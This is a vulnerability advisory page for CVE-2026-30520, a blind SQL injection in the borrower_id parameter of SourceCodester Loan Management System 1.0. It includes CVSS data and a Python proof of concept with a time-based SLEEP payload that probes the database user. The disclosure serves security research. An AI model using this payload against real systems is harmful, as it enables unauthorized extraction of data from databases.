Security Vulnerability Report
中文
CVE-2026-30520 CVSS 5.4 MEDIUM

CVE-2026-30520

Published: 2026-03-31 18:16:48
Last Modified: 2026-04-06 14:16:23

Description

A Blind SQL Injection vulnerability exists in SourceCodester Loan Management System v1.0. The vulnerability is located in the ajax.php file (specifically the save_loan action). The application fails to properly sanitize user input supplied to the "borrower_id" parameter in a POST request, allowing an authenticated attacker to inject malicious SQL commands.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:* - VULNERABLE
SourceCodester Loan Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL endpoint url = "http://target.com/ajax.php" # Attacker session cookie (Authentication required) cookies = { "PHPSESSID": "valid_session_id_here" } # Payload for Time-Based Blind SQL Injection # Checks if the first character of the database user is 'r' # If true, the server will sleep for 5 seconds payload = "1' AND IF(SUBSTRING(user(), 1, 1)='r', SLEEP(5), 0)-- -" data = { "action": "save_loan", "borrower_id": payload } try: response = requests.post(url, data=data, cookies=cookies, timeout=10) # Analyze response time to confirm injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection successful") else: print("[-] Payload executed or condition false") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30520", "sourceIdentifier": "[email protected]", "published": "2026-03-31T18:16:47.560", "lastModified": "2026-04-06T14:16:22.937", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Blind SQL Injection vulnerability exists in SourceCodester Loan Management System v1.0. The vulnerability is located in the ajax.php file (specifically the save_loan action). The application fails to properly sanitize user input supplied to the \"borrower_id\" parameter in a POST request, allowing an authenticated attacker to inject malicious SQL commands."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oretnom23:loan_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7902576E-876D-4BE4-8EF6-28B7403B130D"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Loan-Management-System/SQLi-SaveLoan-borrowerId.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}